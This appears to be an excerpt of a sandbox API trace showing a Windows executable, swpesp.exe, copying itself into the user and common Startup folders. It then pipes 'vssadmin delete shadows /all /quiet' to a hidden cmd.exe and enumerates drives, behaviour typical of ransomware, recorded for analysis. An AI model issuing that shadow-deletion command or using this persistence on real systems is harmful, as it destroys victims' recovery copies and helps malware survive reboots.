	[0034.771] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x55d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0
	[0034.771] RegCloseKey (hKey=0xe4) returned 0x0
	[0034.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527cb8 | out: hHeap=0x4f0000) returned 1
	[0034.771] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0034.771] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0034.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527bb0 | out: hHeap=0x4f0000) returned 1
	[0034.771] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe", lpDst=0x54d438, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe") returned 0x67
	[0034.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d440 | out: hHeap=0x4f0000) returned 1
	[0034.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d438 | out: hHeap=0x4f0000) returned 1
	[0034.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x5f0020
	[0034.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0034.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x525930
	[0034.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0034.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x5258e0
	[0034.771] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0034.771] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0034.771] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0034.771] lstrlenW (lpString="kernel32.dll") returned 12
	[0034.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1
	[0034.771] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0034.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5258e0 | out: hHeap=0x4f0000) returned 1
	[0034.771] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\swpesp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\swpesp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4
	[0034.772] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\swpesp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8
	[0034.774] ReadFile (in: hFile=0xe4, lpBuffer=0x5f0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x5f0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0034.786] WriteFile (in: hFile=0xe8, lpBuffer=0x5f0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x5f0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0034.788] ReadFile (in: hFile=0xe4, lpBuffer=0x5f0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x5f0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1
	[0034.789] CloseHandle (hObject=0xe8) returned 1
	[0034.790] CloseHandle (hObject=0xe4) returned 1
	[0034.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0034.790] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x5258e0
	[0034.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0034.790] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x525930
	[0034.790] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0034.790] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0034.790] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0034.790] lstrlenW (lpString="kernel32.dll") returned 12
	[0034.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1
	[0034.790] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0034.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5258e0 | out: hHeap=0x4f0000) returned 1
	[0034.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5f0020 | out: hHeap=0x4f0000) returned 1
	[0034.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54d438
	[0034.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55d440
	[0034.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0034.795] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x5258e0
	[0034.795] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5258e0, Size=0x40) returned 0x526a38
	[0034.795] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526a38, Size=0x80) returned 0x54b450
	[0034.795] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b450, Size=0x100) returned 0x527bb0
	[0034.795] lstrlenW (lpString="") returned 0
	[0034.795] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0034.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x527cb8
	[0034.795] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0
	[0034.795] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x55d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0
	[0034.795] RegCloseKey (hKey=0xe4) returned 0x0
	[0034.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527cb8 | out: hHeap=0x4f0000) returned 1
	[0034.796] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0034.796] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0034.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527bb0 | out: hHeap=0x4f0000) returned 1
	[0034.796] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe", lpDst=0x54d438, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe") returned 0x48
	[0034.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d440 | out: hHeap=0x4f0000) returned 1
	[0034.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d438 | out: hHeap=0x4f0000) returned 1
	[0034.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x5f0020
	[0034.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0034.796] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x5258e0
	[0034.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0034.796] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x525930
	[0034.796] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0034.796] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0034.796] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0034.796] lstrlenW (lpString="kernel32.dll") returned 12
	[0034.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5258e0 | out: hHeap=0x4f0000) returned 1
	[0034.796] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0034.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1
	[0034.796] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\swpesp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\swpesp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4
	[0034.796] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\swpesp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8
	[0034.799] ReadFile (in: hFile=0xe4, lpBuffer=0x5f0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x5f0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0034.811] WriteFile (in: hFile=0xe8, lpBuffer=0x5f0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x5f0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0034.813] ReadFile (in: hFile=0xe4, lpBuffer=0x5f0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x5f0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1
	[0034.813] CloseHandle (hObject=0xe8) returned 1
	[0034.830] CloseHandle (hObject=0xe4) returned 1
	[0034.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0034.830] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x525930
	[0034.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0034.830] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x5258e0
	[0034.830] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0034.830] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0034.830] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0034.830] lstrlenW (lpString="kernel32.dll") returned 12
	[0034.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5258e0 | out: hHeap=0x4f0000) returned 1
	[0034.830] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0034.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1
	[0034.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5f0020 | out: hHeap=0x4f0000) returned 1
	[0034.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b428 | out: hHeap=0x4f0000) returned 1
	[0034.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b430 | out: hHeap=0x4f0000) returned 1
	[0034.835] lstrlenW (lpString="%windir%\\System32") returned 17
	[0034.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5269a8 | out: hHeap=0x4f0000) returned 1
	[0034.835] lstrlenW (lpString="%appdata%") returned 9
	[0034.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504398 | out: hHeap=0x4f0000) returned 1
	[0034.835] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0034.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504370 | out: hHeap=0x4f0000) returned 1
	[0034.835] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0034.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5269f0 | out: hHeap=0x4f0000) returned 1
	[0034.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0034.835] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x504370
	[0034.835] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504370, Size=0x40) returned 0x5269f0
	[0034.835] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5269f0, Size=0x80) returned 0x54b450
	[0034.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0034.835] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x504370
	[0034.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1fffc) returned 0x52b428
	[0034.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54d438
	[0034.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55d440
	[0034.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0034.836] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x504398
	[0034.836] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504398, Size=0x40) returned 0x5269f0
	[0034.836] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5269f0, Size=0x80) returned 0x54b4d8
	[0034.836] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b4d8, Size=0x100) returned 0x527bb0
	[0034.836] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0034.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527bb0 | out: hHeap=0x4f0000) returned 1
	[0034.836] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x54d438, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c
	[0034.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d440 | out: hHeap=0x4f0000) returned 1
	[0034.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d438 | out: hHeap=0x4f0000) returned 1
	[0034.836] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1
	[0034.837] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1
	[0034.837] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1
	[0034.837] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1
	[0034.837] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x92c, dwThreadId=0x930)) returned 1
	[0034.853] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0034.853] WriteFile (in: hFile=0xec, lpBuffer=0x54b450*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x54b450*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1
	[0034.853] CloseHandle (hObject=0xfc) returned 1
	[0034.853] CloseHandle (hObject=0xf8) returned 1
	[0034.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b428 | out: hHeap=0x4f0000) returned 1
	[0034.853] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0034.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b450 | out: hHeap=0x4f0000) returned 1
	[0034.853] lstrlenW (lpString="%comspec%") returned 9
	[0034.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504370 | out: hHeap=0x4f0000) returned 1
	[0034.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8
	[0034.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524a30
	[0034.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x524a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc
	[0034.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5047a8
	[0034.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5047a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104
	[0034.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a48
	[0034.855] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a48, Size=0x20) returned 0x504370
	[0034.855] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504370, Size=0x40) returned 0x5269f0
	[0034.855] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0034.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd0) returned 0x527c28
	[0034.855] GetLogicalDrives () returned 0x4
	[0034.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10014) returned 0x52b428
	[0034.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a48
	[0034.855] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a48, Size=0x20) returned 0x504370
	[0034.855] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504370, Size=0x40) returned 0x526a80
	[0034.855] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526a80, Size=0x80) returned 0x54b450
	[0034.855] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b450, Size=0x100) returned 0x529198
	[0034.856] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x200) returned 0x529198
	[0034.856] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x400) returned 0x529198
	[0034.856] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x800) returned 0x5297b0
	[0034.856] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5297b0, Size=0x1000) returned 0x53b448
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x54d438
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a48
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524b20
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504750
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524b38
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504760
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524b50
	[0034.856] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504760, Size=0x8) returned 0x504760
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524b68
	[0034.856] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504760, Size=0x10) returned 0x504718
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524b80
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524b98
	[0034.856] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504718, Size=0x20) returned 0x527ab0
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524bb0
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504760
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524bc8
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524be0
	[0034.856] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x527ab0, Size=0x40) returned 0x5252d8
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524bf8
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524c10
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524c28
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524c40
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524c58
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524c70
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x525320
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524c88
	[0034.856] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5252d8, Size=0x80) returned 0x529198
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524ca0
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524cb8
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524cd0
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524ce8
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5297c8
	[0034.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5297e0
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5297f8
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504718
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529810
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529828
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529840
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529858
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529870
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529888
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5298a0
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5298b8
	[0034.857] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x100) returned 0x529198
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5298d0
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5298e8
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529900
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x529918
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529930
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529948
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504728
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529960
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529978
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529990
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x527ab0
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5299a8
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5299c0
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x527ac0
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5299d8
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5299f0
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529a08
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529a20
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529a38
